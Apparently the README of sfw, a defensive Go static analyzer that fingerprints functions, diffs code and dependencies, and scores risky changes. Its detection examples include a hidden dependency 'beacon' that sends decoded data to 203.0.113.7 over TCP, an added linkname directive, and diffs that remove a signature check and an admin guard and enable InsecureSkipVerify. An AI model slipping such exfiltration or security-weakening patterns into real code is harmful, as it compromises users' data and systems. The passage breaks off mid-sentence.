sfw is a static analyzer for Go source. It builds SSA with golang.org/x/tools/go/ssa, rewrites each function into a canonical IR, and fingerprints the function as the SHA-256 of that IR. On top of the fingerprint:
sfw diffcompares two files function by function. It matches renamed functions by topology and scores each change by the capabilities it newly reaches and the guards, checks and security settings it removes.sfw deps diffcompares the third-party code two trees of a module compile in: changed functions, exported functions that newly reach a capability, and changed files the analysis cannot see.sfw auditsends a diff's high-risk changes, their source and the commit message to an LLM, which reads the code (through tools, with a Claude model) and decides whether the message describes the change.sfw indexandsfw scanmatch function topologies against a signature store (PebbleDB or JSON).
The analysis never executes the code under test.
Caution
This tool is provided for defensive security research and authorized testing only. Do not use it to create, distribute, or deploy malware. Users are responsible for compliance with applicable laws and organizational policies. The author assumes no liability for misuse.
- Install
- Commands
- sfw check
- sfw diff
- Risk scoring
- Detection scope
- sfw deps diff
- sfw audit
- sfw index and sfw scan
- Signature store
- Fingerprint pipeline
- Semantic Zipper
- Function topology
- Entropy and obfuscation
- Sandbox
- GitHub Action
- Library usage
- Development
go install github.com/BlackVectorOps/semantic_firewall/v7/cmd/sfw@v7.2.0go.mod declares go 1.27.2. sfw version prints the build:
Semantic Firewall CLI
Build: v7.2.0 (Pebble/Gob+PackedIdx)
Flags must come before positional arguments. The CLI parses each command with Go's flag package, which stops at the first non-flag argument; flags placed after a file name are silently ignored.
| Command | Flags (default) | Arguments | Sandboxed |
|---|---|---|---|
check |
--strict (false), --scan (false), --db (""), --no-sandbox (false) |
<file.go|dir> |
yes |
diff |
--no-sandbox (false), --batch ("") |
<old.go> <new.go>, or none with --batch <pairs-file> |
yes |
deps diff |
--no-sandbox (false) |
<old-module-dir> <new-module-dir> |
yes |
audit |
--model (claude-opus-5-5), --api-key (""), --api-base (""), --no-sandbox (false) |
<old.go> <new.go> "<commit message>" |
yes (the diff step) |
index |
--name (required), --severity (HIGH), --category (malware), --db ("") |
<file.go|dir> |
no |
scan |
--db (""), --threshold (0.75), --exact (false), --deps (false), --deps-depth (direct), --no-sandbox (false) |
<file.go|dir> |
yes |
migrate |
--from (required), --to (required) |
none | no |
stats |
--db ("") |
none | no |
version |
none | none | no |
sfw <command> -h lists a command's flags. --severity is stored as given, without validation. Any --deps-depth value other than transitive is treated as direct.
Exit codes:
| Command | Exit 0 | Exit 1 |
|---|---|---|
check |
analysis ran, even when a file failed to load (reported in that file's error field) |
--strict and any file errored; fatal errors |
diff |
diff produced, regardless of risk | fatal errors |
diff --batch |
every pair diffed, regardless of risk | any pair failed (after printing all results); fatal errors |
deps diff |
diff produced, regardless of risk | either tree failed to load; fatal errors |
scan |
scan ran, regardless of alerts | fatal errors (e.g. no database) |
audit |
verdict MATCH |
verdict LIE, SUSPICIOUS or ERROR |
diff treats a missing input file as an empty file.
Prints a JSON array with one entry per file. A directory is walked recursively, skipping vendor/, hidden directories and _test.go files. Function names are package-qualified: a file loaded on its own belongs to command-line-arguments.
sfw check --no-sandbox new.go[
{
"file": "new.go",
"functions": [
{ "function": "command-line-arguments.Handle", "fingerprint": "4acdccda3895dd4cec3af2d55ad43489f91860cd226f82091eaf0a2429849e2f", "file": "/work/new.go", "line": 5 },
{ "function": "command-line-arguments.Handle$1", "fingerprint": "1777c5c3ae9a69e395f6bbe8f35a1e447d25534afec7bb907eacf873e7d4917c", "file": "/work/new.go", "line": 7 },
{ "function": "command-line-arguments.Sum", "fingerprint": "7cc1efa6ef6ca643863de5dcb0a68f7c80cd6dae8c530697706f40ce737030ae", "file": "/work/new.go", "line": 10 },
{ "function": "command-line-arguments.init", "fingerprint": "825a2d206f4eb4ea4413c050e4ca9e4b8e439c2067219829a8fef891031a1850", "file": "" }
]
}
]The output above was captured from a real run, with the absolute path shortened to /work and each object put on one line. new.go is the file in the sfw diff example.
--strict: an unhandled SSA instruction makes the canonicalizer fail instead of emittingUnhandledInstr<T>, and any per-file error makes the command exit 1.--scan: each function's topology is also matched against the signature database (--db, or the default resolution) at a fixed threshold of 0.75. The matches go in ascan_resultsfield. A missing database is a fatal error.
Input:
// old.go
package p
import "fmt"
func Handle(cmd string) { fmt.Println(cmd) }
func Add(a, b int) int { return a + b }// new.go
package p
import "net"
func Handle(cmd string) {
net.Dial("tcp", cmd)
go func() {}()
}
func Sum(a, b int) int { return a + b }sfw diff --no-sandbox old.go new.go prints the following. This is the full output, except that the init entry is abbreviated to its status and delta.
{
"old_file": "old.go",
"new_file": "new.go",
"summary": {
"total_functions": 4,
"preserved": 0,
"modified": 3,
"added": 1,
"removed": 0,
"semantic_match_pct": 0,
"topology_matched_pct": 75,
"renamed_functions": 1,
"high_risk_changes": 1
},
"functions": [
{
"function": "Handle",
"status": "modified",
"fingerprint_match": false,
"old_fingerprint": "f735eacc97909969c02c6c115696e44282599242dfb7ebc5f8450894210caecf",
"new_fingerprint": "4acdccda3895dd4cec3af2d55ad43489f91860cd226f82091eaf0a2429849e2f",
"matched_nodes": 1,
"added_ops": ["go Handle$1()", "t0 = net.Dial(\"tcp\":string, cmd)"],
"removed_ops": ["*t1 = t2", "t0 = new [1]any (varargs)", "t1 = &t0[0:int]", "t2 = make any <- string (cmd)", "t3 = slice t0[:]", "t4 = fmt.Println(t3...)"],
"risk_score": 30,
"topology_delta": "Capability+network(net.Dial), Calls-1, AddedGoroutine, StringLiterals~, Entropy+1.6"
},
{
"function": "init",
"status": "modified",
"...": "...",
"topology_delta": "NoStructuralChange"
},
{
"function": "Add → Sum",
"status": "renamed",
"fingerprint_match": true,
"old_fingerprint": "7cc1efa6ef6ca643863de5dcb0a68f7c80cd6dae8c530697706f40ce737030ae",
"new_fingerprint": "7cc1efa6ef6ca643863de5dcb0a68f7c80cd6dae8c530697706f40ce737030ae"
},
{
"function": "Handle$1",
"status": "added",
"fingerprint_match": false,
"new_fingerprint": "1777c5c3ae9a69e395f6bbe8f35a1e447d25534afec7bb907eacf873e7d4917c",
"risk_score": 5,
"topology_delta": "NewFunction"
}
],
"topology_matches": [
{ "old_function": "Handle", "new_function": "Handle", "similarity": 0.7048387096774194, "matched_by_name": true, "old_topology": "L0B0I7[fmt.Println]", "new_topology": "L0B0I3[go:closure:func(),net.Dial]" },
{ "old_function": "init", "new_function": "init", "similarity": 0.7419354838709677, "matched_by_name": true, "old_topology": "L0B1I6[fmt.init]", "new_topology": "L0B1I6[net.init]" },
{ "old_function": "Add", "new_function": "Sum", "similarity": 1, "matched_by_name": false, "old_topology": "L0B0I2[]", "new_topology": "L0B0I2[]" }
]
}Handle scores 30: +20 because it newly reaches the network capability, and +10 for the new goroutine. added_ops and removed_ops are SSA instructions in go/ssa text form. A *_topology string is L<loops>B<branches>I<instructions>[<call signatures>]. The call signatures are sorted; when there are more than three, only the first three appear, followed by ...(<total>).
| Status | Meaning |
|---|---|
preserved |
Matched by name. The default fingerprints are equal, the keep-all-literals fingerprints are equal, and no capability was newly reached. |
modified |
Matched by name, otherwise |
renamed |
Matched by topology, not by name. It is counted in modified. |
added |
Only in the new file. Scored as a new function with a base of 5; a capability call moved into it from its callers is not charged (see Risk scoring). |
removed |
Only in the old file. Scored 0, except that a function containing a verification call scores 10 (RemovedCheck(...)). |
The preserved test compares fingerprints under two literal policies. The default policy masks strings and integers outside [-16, 16], so its fingerprint survives a changed literal; the keep-all policy does not. A changed URL, command, limit or file mode therefore produces modified, with the literal in added_ops/removed_ops.
Only the fingerprints decide the status. The Zipper aligns instructions by data flow, so it pairs every instruction of a swapped if/else, a negated condition or a call moved out of its guard. Such a change is modified, and the Zipper lists the moved instructions and the changed branch in both added_ops and removed_ops.
The summary fields:
semantic_match_pct= preserved / total × 100.topology_matched_pct= matched pairs / total × 100.topology_matched_pct,renamed_functionsandhigh_risk_changesare omitted when zero.
The package init function is diffed like any other. Swapping an import changes it (fmt.init → net.init above), but that change scores 0.
The diff reports the functions declared in the given file, closures and body-less functions included, plus the package's synthesized init. That function has no source file and runs every file's package-level initializers. The package's other files are loaded for type-checking but their functions are not reported. A function belongs to the file it is written in: a //line directive changes the position the compiler reports, not which file's diff the function is in.
A file that the host build excludes is loaded under a configuration that includes it, chosen before the file is loaded:
_test.gofile: loaded with the package's tests._GOOS/_GOARCHname suffix or//go:buildline:go/buildmatches the file against GOOS/GOARCH pairs, the host's first and then a fixed list of 27 (knownPlatformsinpkg/diff/fingerprinter.go). For each pair it tries every subset of the line's custom tags, at most 4. Platform names,unix,cgo,gc,gccgo,ignore,go1.*andgoexperiment.*do not count as custom tags (ignoreis never supplied: the standard library's generators carry it, and a build with it set fails). The first match is loaded, with cgo disabled. The configuration is chosen up front becausego list, asked for a file that is the only Go file of its directory, does not report it excluded: it builds an ad-hoc package of the file under the host's GOOS and GOARCH, where the platform's API is undefined and the sizes are the host's.- A file that no combination matches (a
//go:build ignorescript beside a package's files) is loaded alone, asgo build file.gobuilds it: an ad-hoc package of the one file under the host's GOOS and GOARCH, its constraints ignored.
A module with a vendor directory is loaded from it, as the go command builds it (a go.mod of go 1.14 or later; in a workspace, the workspace's vendor directory with a go.work of go 1.22 or later), whatever the module cache holds. Every mode of sfw applies this rule (diff.VendorDir).
Reported names are relative to the function's own package: F, (*T).M, F$1. A package whose last path element contains a dot (gopkg.in/yaml.v3) is stripped completely.
pkg/diff/topology_match.go pairs the functions of the two files in three steps:
-
Functions with the same short name are paired. No similarity threshold applies. Type parameters are compared by position, so
(*List[T]).Pushpairs with(*List[E]).Push. -
Closures are named by creation order (
F$1,F$2), which shifts when a closure is inserted. They are therefore paired by content within their enclosing function, not by name. The passes run in this order:- equal keep-all-literals fingerprints;
- equal default fingerprints;
TopologySimilarityof at least 0.6, best first;- equal names.
A pair whose names differ is reported as
F$1 → F$2and keeps its own status; it is notrenamed.
Declared
initfunctions are paired the same way, together with their closures:go/ssanumbers them (init#1,init#2) across the package's files, so another file's newinitrenumbers them. -
The remaining functions are paired only if their fuzzy hashes are identical and their
TopologySimilarityis at least 0.6 (DefaultTopologyMatchThreshold). Pairs are assigned greedily, highest similarity first.
Unpaired functions are reported as added or removed. Because the fuzzy hash must match exactly, a rename combined with one added if changes the BR bucket and is reported as remove + add, even at similarity 0.92.
The pair below was produced by the code shown. The fingerprints differ, because a range loop and an index loop produce different SSA, but the topologies are identical:
┌──────────────────────────────────────────┬─────────────────────────────────┐
│ old.go │ ExtractTopology, both functions │
│ func processData(input []byte) error { │ ParamCount 1 │
│ conn, _ := net.Dial("tcp", addr) │ ReturnCount 1 │
│ for _, b := range input { │ BlockCount 4 │
│ conn.Write([]byte{b}) │ InstrCount 20 │
│ } │ LoopCount 1 │
│ return conn.Close() │ BranchCount 1 │
│ } │ PhiCount 1 │
├──────────────────────────────────────────┤ FuzzyHash B2L1BR1P1R1 │
│ new.go │ EntropyScore 1.585 (LOW) │
│ func handleInput(data []byte) error { │ CallSignatures │
│ c, _ := net.Dial("tcp", server) │ builtin:len 1 │
│ for i := 0; i < len(data); i++ { │ invoke:net.Conn.Close 1 │
│ c.Write([]byte{data[i]}) │ invoke:net.Conn.Write 1 │
│ } │ net.Dial 1 │
│ return c.Close() │ Capabilities │
│ } │ net.Dial -> network │
├──────────────────────────────────────────┴─────────────────────────────────┤
│ fingerprints differ: 78f0dd2a39b3aafd... vs 950dce51df3f50b2... │
│ FuzzyHash equal, TopologySimilarity = 1.0 >= 0.6 => status "renamed" │
└────────────────────────────────────────────────────────────────────────────┘
sfw diff --batch <pairs-file> diffs many files in one run. The pairs file holds NUL-terminated paths, alternately the old and the new version of each file (old1\0new1\0old2\0new2\0). An empty path or /dev/null stands for the absent side of an added or deleted file.
The output is a JSON array with one sfw diff result per pair, in order. A pair that cannot be diffed (a file that does not parse, say) has an error field and an empty functions list. The command prints every result, then exits 1 with Error: 1 of 3 file pair(s) could not be diffed on stderr.
Each result equals what sfw diff prints for that pair alone. The difference is loading: the files of one side that share a module root (the nearest go.mod) and the go.work that governs them are loaded with one go/packages call, so a package and its imports are type-checked once however many of its files changed. A file outside any module, a file the module's default build excludes (see Files), a file in a package that does not type-check, and every file of a group whose load fails are loaded on their own, as sfw diff loads them. The old and new sides load concurrently.
pkg/api/risk.go scores each modified, renamed and added function. A change is high-risk at a score of 10 (RiskScoreHigh) or more; high_risk_changes counts such changes, and sfw audit sends exactly those to the LLM.
score = min(base + structural, 9) + escalation base = 5 for an added function, else 0
Escalations are uncapped. A call target is new if the old version of the function did not call it.
| Change | Points |
|---|---|
First new target in a capability class the function did not reach before: exec |
30 |
... syscall |
25 |
... plugin |
25 |
... network |
20 |
... reflection |
15 |
... filesystem |
10 |
| Each further new target in a class (a newly reached class or one already reached) | 5 |
New goroutine (go statement where there was none) |
10 |
| String-literal entropy class rises into HIGH or PACKED | 10 |
| Obfuscation class rises to MODERATE or HIGH | 10 |
A verification call or check helper present in the old version is gone (RemovedCheck) |
10 |
A capability call whose old call sites all ran under a condition now runs unconditionally, or might (Unguarded, GuardsUnknown) |
10 |
A security setting that weakens on its own appears, or one whose removal weakens disappears (WeakenedSecurity) |
10 |
The +5 row does not reach the threshold on its own: adding net.Listen to a function that already called net.Dial scores 5.
Moved capabilities: extracting a capability call from an existing function into a new helper adds no capability. An added function's target is labelled MovedCapability(target<-Caller) and charged nothing when all of these hold, and is scored as new otherwise:
- the helper is a package-level, unexported, non-generic function: not a method (callable through an interface), a closure (callable through a func value) or an
init; - every reference to it in its package is a direct call, so no value of it escapes;
- each caller is a matched function whose old version called the target directly and whose new version does not;
- when the old call ran under a condition, the new caller's calls to the helper, or the helper's own call, still do (
topology.CallGuardscounts the first asCapabilityGuardscounts the second).
A moved target's class counts as one the helper already reached, so another new target in that class adds 5, as it would in the caller. Moving a guarded exec.Command into a helper that runs it unconditionally still scores 30, and so does a helper with a new caller that never made the call. The helper and its callers must be in the same file pair: a helper moved to another file is scored as new, because each file pair is diffed on its own. Diffs of dependencies (sfw deps diff) do not apply this rule.
Structural churn is capped, together with the base, at 9, so churn alone never reaches the threshold:
| Change | Points |
|---|---|
| New call target outside the capability classes | 2 each |
| New loop | 5 each |
| New branch | 1 each |
New defer |
2 |
New panic |
3 |
Removed calls, loops, branches and error exits are labelled (Calls-1, Loops-1, Branches-1, ErrorExits-1) but score nothing. An entropy increase greater than 1.0 is labelled Entropy+x.x without points. A changed string-literal list is labelled StringLiterals~.
A change can make code more dangerous by removing something. Four signals look for that. In the example below, the new version drops a signature check, an authorization test and a TLS setting:
// old.go // new.go (validSignature unchanged)
func validSignature(msg, sig, key []byte) bool {
m := hmac.New(sha256.New, key)
m.Write(msg)
return hmac.Equal(sig, m.Sum(nil))
}
func Accept(msg, sig, key []byte) error { func Accept(msg, sig, key []byte) error {
if !validSignature(msg, sig, key) { return nil
return errors.New("bad signature") }
}
return nil
}
func Purge(user, dir string) error { func Purge(user, dir string) error {
if user != "admin" { return os.RemoveAll(dir)
return errors.New("forbidden") }
}
return os.RemoveAll(dir)
}
func Client() *tls.Config { func Client() *tls.Config {
return &tls.Config{MinVersion: tls.VersionTLS12} return &tls.Config{MinVersion: tls.VersionTLS12, InsecureSkipVerify: true}
} }sfw diff scores each of the three at 10:
| Function | topology_delta |
|---|---|
Accept |
RemovedCheck(command-line-arguments.validSignature,crypto/hmac.Equal), Calls-2, ErrorExits-1, Branches-1, StringLiterals~ |
Purge |
Unguarded(os.RemoveAll), Calls-1, ErrorExits-1, Branches-1, StringLiterals~ |
Client |
WeakenedSecurity(crypto/tls.Config.InsecureSkipVerify=true) |
RemovedCheck: a key of the old function's Checks is missing from the new one's. Checks holds the calls that verify something:
- the verification primitives listed under Capability classes, when the result decides a branch or is returned;
- check helpers: static calls to a function of the same package that calls a primitive, and decides on its result, through at most 3 levels of static calls within that package (
validSignatureabove), when the result decides a branch or is returned, or the helper has no result (it panics or exits on failure). The primitives the helper reaches are recorded with it, so moving a check into a helper is not a removal; - calls whose name contains a word that starts with
auth,verif,valid,permi,allow,admin,acl,csrf,xsrf,signature,privilege,owner,roleoraccess(authorize,isAdmin,checkPermission; words split at camelCase and_), when the result decides a branch or is returned as aboolorerror; getters that return other values do not count, nor doos.IsPermissionandreflect.Value.IsValid, nor names with a word that fetches, builds or changes state (get,set,unset,build,rebuild,load,list,find,new,create,add,delete,remove,update,save,registerand the like:GetRoles,BuildRoleLinks,DeleteExternalAuths). Interface methods count ((example.com/p.Verifier).Verify). When such a call is to a function of the same package, the checks that function makes, up to 3 calls deep, count as the caller's too, so moving checks into avalidateHeadershelper is not a removal.
A call whose result is ignored checks nothing, and results kept in locals, as in a function with a defer, are followed to their use.
A check that reappears in the new version under the same name with only the case of its first letter changed (an exported rename, validator → Validator) is the same check, and so is subtle.ConstantTimeCompare in place of hmac.Equal, or the reverse: hmac.Equal is ConstantTimeCompare on inputs of equal length, and ConstantTimeCompare fails inputs of unequal length. One that reappears under the same name in a package whose path ends in the same name, ignoring major versions (casbin/v2 → casbin/v3, a fork such as go-ozzo/ozzo-validation → pocketbase/ozzo-validation, gopkg.in/square/go-jose.v2 → github.com/go-jose/go-jose/v3), is labelled ReplacedCheck(old->new) without points: the code still checks, through an implementation the reviewer should see. A verification primitive never matches a look-alike: a function of another package named Equal is no hmac.Equal.
Unguarded: for each capability call target, CapabilityGuards records the fewest conditional branches any of its call sites is control-dependent on. A call site is control-dependent on a two-way branch when one outcome of the branch guarantees that the call runs and the other does not. Loop conditions are not guards, and neither is a branch on a constant (if true, const skipAuth = true): only the side it takes can run. A target called on every path through the function counts 0, even when each call sits under a branch (if ok { call() } else { call() }). Calls that do not return (os.Exit, runtime.Goexit, log.Fatal* and log.Panic* and their *log.Logger methods, testing Fatal*, FailNow and Skip*, and functions of the same package that always end in one of these) end the function like a return. In a function that never returns, such as a worker's for {} loop, each pass around the loop counts as a run of the function. Unguarded fires only when the old count was at least 1 and the new count is 0. A target the old version did not call fires too, at a count of 0, when every old call in its capability class had a count of at least 1: swapping a guarded exec.Command for an unguarded os.StartProcess deletes the same guard. The count is of direct dependences: in if a { if b { call() } } the call depends on b alone, and if a || b { call() } gives 2, so deleting one of several guards does not fire.
A function with more than 2000 blocks records no guards. When the new version is that large and the old one is not, each call that would have to be checked for Unguarded is reported as GuardsUnknown(target), scored the same: growing a function must not hide a deleted guard.
WeakenedSecurity: constant stores to these fields, and one call:
Weakens on its own (WeakSettings) |
Weakens when removed (SecureSettings) |
|---|---|
tls.Config.InsecureSkipVerify = true |
tls.Config.ClientAuth = RequireAndVerifyClientCert |
tls.Config.MinVersion or MaxVersion below TLS 1.2 |
http.Cookie.Secure = true |
http.Cookie.SameSite = SameSiteNoneMode |
http.Cookie.HttpOnly = true |
a call to ssh.InsecureIgnoreHostKey (golang.org/x/crypto/ssh) |
A new weak setting is reported as is; a lost secure setting carries a - prefix (WeakenedSecurity(-net/http.Cookie.Secure=true)). A non-constant value records nothing. The fields count also through a defined type (type cfg tls.Config) or an embedded struct, and ssh.InsecureIgnoreHostKey counts when taken as a value.
A secure setting holds only when no store in the function writes a weaker constant to the field (c.Secure = false after Secure: true) and every cookie or config the function allocates gets it, itself or from a helper it is passed to: a second cookie without Secure is not hidden by a first one with it. Settings made by helpers of the same package, up to 3 calls deep, count as the caller's, so moving a cookie's construction into a helper is not a removal. A weak TLS version bound that replaces a lower one on the same field (MinVersion from TLS 1.0 to 1.1) is not reported. While the lower bound remains, the new one is another config's and is reported: a second config lowered from TLS 1.2 to 1.1 next to a TLS 1.0 one weakens it.
ErrorExits-N: ErrorExits counts two-way branches with exactly one side that ends the function with a failure: a panic, a call that does not return, http.Error, http.NotFound or WriteHeader with a constant status of 400 or more, or the return of a failure error. A failure error is a new one (errors.New, errors.Join, fmt.Errorf, a concrete type converted to error), a package-level error variable, or the value the branch just tested as non-nil (if err != nil { return err }). A drop is labelled and not scored: error handling is often refactored away legitimately. Replaying the last 100 commits of ten repositories (776 that load), drops appeared in 34 commits, all ordinary refactors, and scoring them would have flagged 25 more.
Call targets come from *ssa.Function callees and functions passed by name. Each is keyed by import path (os/exec.Command, (net/http.Client).Do) and classified by topology.ClassifyCallTarget. Capabilities a function reaches without naming them are call targets too: the methods of a value converted to a non-empty interface, or passed for a constrained type parameter, that the interface or constraint declares (an exec.Cmd run through interface{ Run() error } records (os/exec.Cmd).Run), and calls of http.RoundTripper's RoundTrip. Only classified methods are recorded this way.
| Class | Members |
|---|---|
exec |
every function in os/exec except LookPath; os.StartProcess; Exec, ForkExec and StartProcess in syscall, golang.org/x/sys/unix and golang.org/x/sys/windows; net/http/cgi.Handler.ServeHTTP, which runs Handler.Path for every request |
syscall |
every other package-level function in syscall, golang.org/x/sys/unix and golang.org/x/sys/windows (methods excluded, and conversion helpers that make no system call: BytePtrFromString, UTF16PtrFromString, NsecToTimespec, Getpagesize and the like) |
plugin |
everything in plugin |
network |
net functions starting with Dial, Listen, Lookup, Resolve or File. net/http package-level functions and methods on Client, Server, Transport and the RoundTripper interface named Get, Post, PostForm, Head, Do, RoundTrip, ListenAndServe, ListenAndServeTLS, Serve or ServeTLS. Functions starting with Dial or Listen, plus SendMail, in crypto/tls, net/rpc, net/rpc/jsonrpc, net/smtp, net/textproto and log/syslog. net/http/httptest.NewServer, NewTLSServer and NewUnstartedServer. net/http/httputil.ReverseProxy.ServeHTTP |
reflection |
reflect.Value.Call, CallSlice, MethodByName and Method (the last two return a method the code can call as a func value) |
filesystem |
os.WriteFile, Create, CreateTemp, OpenFile, Remove, RemoveAll, Rename, Chmod, Chown, Lchown, Chtimes, Truncate, Symlink, Link, Mkdir, MkdirAll and MkdirTemp, as package-level functions or os.Root methods; os.CopyFS; (*os.File).Chmod, Chown and Truncate; io/ioutil.WriteFile, TempFile and TempDir |
Verification calls (topology.IsVerificationCall), whose removal is a RemovedCheck:
crypto/subtle.ConstantTimeCompare,ConstantTimeEq,ConstantTimeByteEqandConstantTimeLessOrEq;crypto/hmac.EqualVerify*incrypto/ed25519,crypto/ecdsaandcrypto/rsax509.Certificate/CertificateRequestVerify*,CheckSignature,CheckSignatureFrom(*tls.Conn).VerifyHostnamebcrypt.CompareHashAndPassword(golang.org/x/crypto/bcrypt)filepath.IsLocal
Closures and range-over-func loop bodies are separate functions (Handle$1) and are scored on their own; a parent's capabilities do not include its closures' calls. Calls to imported packages' init functions are not call targets.
A function declared without a Go body (func add(a, b int) int) runs assembly from the package's .s files, or another function a //go:linkname directive names. Neither has SSA, so nothing in it is fingerprinted or scored. The diff reports each one by name instead:
| Change | Status | topology_delta |
Points |
|---|---|---|---|
| Declared in the new file only | added |
NoBody |
10 |
| Parameter or result types changed | modified |
NoBody, Signature~ |
10 |
| Declared in the old file only | removed |
NoBody |
0 |
| Otherwise (renamed parameters included) | preserved |
0 |
The .s file itself is not read. sfw deps diff does not report a dependency's body-less functions. Its unanalyzed list reports added, modified and removed assembly files and linkname directives, so a body-less function added against unchanged assembly, or one whose signature changed, is not reported there.
A //go:linkname local target directive, or its //go:linknamestd spelling, which the compiler takes alike, makes local, a function or variable declared in any file of the package, the same symbol as target, usually another package's unexported function or variable. The analysis sees local only as its own package's. The diff compares the file's directives as text, normalized to single spaces, and lists each one added or removed under unanalyzed, whatever it names:
"unanalyzed": [
{ "file": "new.go: //go:linkname x example.com/q.secret", "kind": "linkname", "change": "added", "risk_score": 10 }
]An added directive scores 10 and counts in high_risk_changes, not in the function counts. A removed one scores 0 and is listed with the old file's path. A changed target is a removed directive and an added one, and a directive moved to another file of the package is added in that file. Text the compiler does not take as a directive, inside a block comment or with a tab after //go:linkname, is not reported.
Scored:
- A function newly reaching one of the capability classes above through a concrete call target. This includes replacing one call with another while the call count stays the same (
fmt.Println→net.Dialscores 20). reflect.Value.Call,CallSlice,MethodByNameandMethod, which are scored as thereflectioncapability.- Removal of a verification call or a check helper, or deletion of a function that made one.
- A capability call left without any guard, and weakened security settings (see Deletion signals).
- New goroutines, entropy class increases and obfuscation class increases.
- An added or changed body-less function, whose code is assembly or a linkname target, and an added linkname directive.
Not scored (no concrete target):
- Interface method calls (
invoke:), except those described under Capability classes:http.RoundTripper.RoundTrip, and capability methods of a value the function itself converts to the interface. A generic function on its own records nothing for the methods it calls on a type parameter; its callers do, through the type argument. - Calls through function values (
dynamic:), including func-typed fields such ashttp.Transport.DialContext.
These appear in CallSignatures but not in CallTargets, so they never reach the capability classifier.
Not scored (other limits):
- Guards around ordinary code: removing a condition (
if user != admin, a bounds check) scores only when it leaves a capability call unconditional, removes a check, or weakens a listed setting. Otherwise it shows up asBranches-N,ErrorExits-Nand changed literals inremoved_ops, and scores 0. Deleting one of several guards of a capability call scores 0 as well. - Check helpers in other packages: a helper is found only through calls within the function's own package, or by its name.
- Functions moved to another file: each file pair is diffed on its own, so a function that holds a check and moves to another file reads as removed (
RemovedCheck, or 10 for the removed function). - Filesystem calls outside the list: writes to an open
*os.File(Write,WriteString) are not in thefilesystemclass; opening the file for writing is. - Settings through a pointer: a field's address passed to a call (
flag.BoolVar(&cfg.InsecureSkipVerify, ...)) records nothing; only constant stores do. - Package-level payloads: a package-level
varinitializer lives in the packageinitfunction, so its literal is attributed toinit, not to the function that uses it. - Parse failures: in
sfw diff, a file that fails to type-check is a fatal error. Insfw check, it is a per-fileerrorentry.
sfw deps diff <old-dir> <new-dir> compares the third-party code compiled into two trees of a module, such as a pull request's base and head. Each tree is loaded with ./... and the loader environment, so every module either build needs must already be in the module cache: run go mod download in both trees first.
A module is compared when its version or replacement differs between the trees, or when its code can change without either. That covers three cases:
- it is replaced by a local directory in both trees;
- it is a module of the tree's workspace;
- it is vendored.
A tree with vendor/modules.txt, or in a workspace one vendored by go work vendor, is loaded with -mod=vendor, as the go command builds it. An edit to a vendored copy is therefore compared like any other change.
A module in only one tree is added or removed. A module both trees use at the same version is still reported, as updated, when the new tree builds packages of it the old one did not: those are new code.
Example: example.com/app replaces example.com/codec with ../codec. The new codec hides a beacon behind its existing exported Decode and adds a //go:linkname directive:
// codec.go, new // time.go, new file
func Decode(data []byte) string { return normalize(string(data)) } //go:linkname nanotime runtime.nanotime
func nanotime() int64
func normalize(s string) string {
go report(s)
return strings.TrimSpace(s)
}
func report(s string) {
if c, err := net.Dial("tcp", "203.0.113.7:443"); err == nil {
c.Write([]byte(s))
}
}sfw deps diff --no-sandbox old/app new/app prints this (the init entry, fingerprints and ops are cut):
{
"old_dir": "old/app",
"new_dir": "new/app",
"summary": { "modules_updated": 1, "modules_added": 0, "modules_removed": 0, "functions_changed": 3, "high_risk_changes": 3 },
"modules": [
{
"path": "example.com/codec",
"status": "updated",
"old_version": "replace ../codec",
"new_version": "replace ../codec",
"packages": [
{
"path": "example.com/codec",
"summary": { "total_functions": 4, "preserved": 1, "modified": 2, "added": 1, "removed": 0, "semantic_match_pct": 25, "topology_matched_pct": 75, "high_risk_changes": 1 },
"functions": [
{ "function": "normalize", "status": "modified", "risk_score": 2, "topology_delta": "Calls+1, AddedGoroutine" },
{ "function": "report", "status": "added", "risk_score": 26, "topology_delta": "Capability+network(net.Dial), Branches+1, StringLiterals~, Entropy+3.3" }
]
}
],
"reach": [
{ "function": "example.com/codec.Decode", "added": ["network"], "targets": ["net.Dial"], "risk_score": 20 }
],
"unanalyzed": [
{ "file": "example.com/codec: //go:linkname nanotime runtime.nanotime", "kind": "linkname", "change": "added", "risk_score": 10 }
],
"risk_score": 26,
"high_risk_changes": 3
}
]
}For each compared module:
-
packages: the changed functions of each package, with the statuses and scores ofsfw diff, except that calls into the module's own packages are not capabilities (golang.org/x/syscalling its ownSyscall6is its job), and a new goroutine is labelled without points (what it runs is covered byreach). -
reach: exported functions, the exported methods of exported types (promoted methods and methods of a type an exported alias names included) and package initializers that can reach a capability class they could not reach before. The walk follows static calls, closures and function values through all third-party code, and classifies standard-library functions at the call; it does not follow interface or dynamic calls, nor calls into other packages' initializers, which are entry points of their own (importing a package that was already built runs nothing new). The score is that of the most dangerous new class (see Risk scoring); an initializer, which runs on import, adds 10. A new exported function is not listed: its own entry inpackagesscores it. -
unanalyzed: added, modified and removed files the SSA analysis cannot see, compared by SHA-256:kindFiles Added or modified syso,object.syso;.a,.o,.so,.dylib,.dll,.lib20 linknameeach //go:linknameor//go:linknamestddirective in a package's Go files, compiled or excluded, keyed by package (renaming its file is no change)10 assembly,c.s,.sx; C, C++, Objective-C, Fortran and SWIG sources and headers5 cgo,excluded-goGo files the build leaves out: those that import "C", and those excluded by build constraints (other platforms included)5 embedfiles embedded with //go:embed5 otherin a module with a cgo file, any other non-Go file 5 Removed files score 0. Files are taken from each built package's directory, tests excluded, and a symbolic link counts as the regular file it points to. Every file an assembly file
#includes is included, wherever it is and whatever its name. In a module with a cgo file, every non-Go file anywhere in the module is included, since#includeand#cgo LDFLAGS(-l:payload.bin) can reach any file under any name: one that starts like an ELF, Mach-O or PE file or an ar archive is anobject, others areother.go listitself omits a cgo package's C files when cgo is disabled. Directives are read from the parsed comments, so one inside a block comment is not one.
A module's risk_score is the highest of its changes, and high_risk_changes counts those scoring 10 or more. An added module, and the packages the new tree newly builds from a module at an unchanged version, list the capability classes their entry points can reach (capabilities), initializers that reach any (reach), and their new syso, object and linkname files.
Workspaces. A tree builds with the go.work that governs it, as the go command does: the first go.work in the module's directory or a parent. The search stops at the repository's root, the first directory with a .git entry, so a tree checked out inside another does not take the outer tree's workspace.
The workspace's other modules are compared like local replacements, named by their path from the go.work. A use of a directory whose go.mod takes a dependency's path makes the go command build that directory instead of the dependency. It is reported as that dependency replaced, for example v1.0.0 -> use ./shadow, with the directory's function diffs.
Limits:
-
cgo: the loader disables cgo. A dependency package with no Go files left without cgo fails to load, and
sfw deps diffexits 1. C code is hashed, not analyzed. -
Load errors are fatal: any package error in either tree (a missing module, a type error) fails the command, rather than producing a partial diff.
-
Sandbox mounts: under the sandbox, the following are visible, and nothing else:
- the trees;
- their module and
.gitroots; - the directory of the
go.workthat governs them; - the module cache.
A local
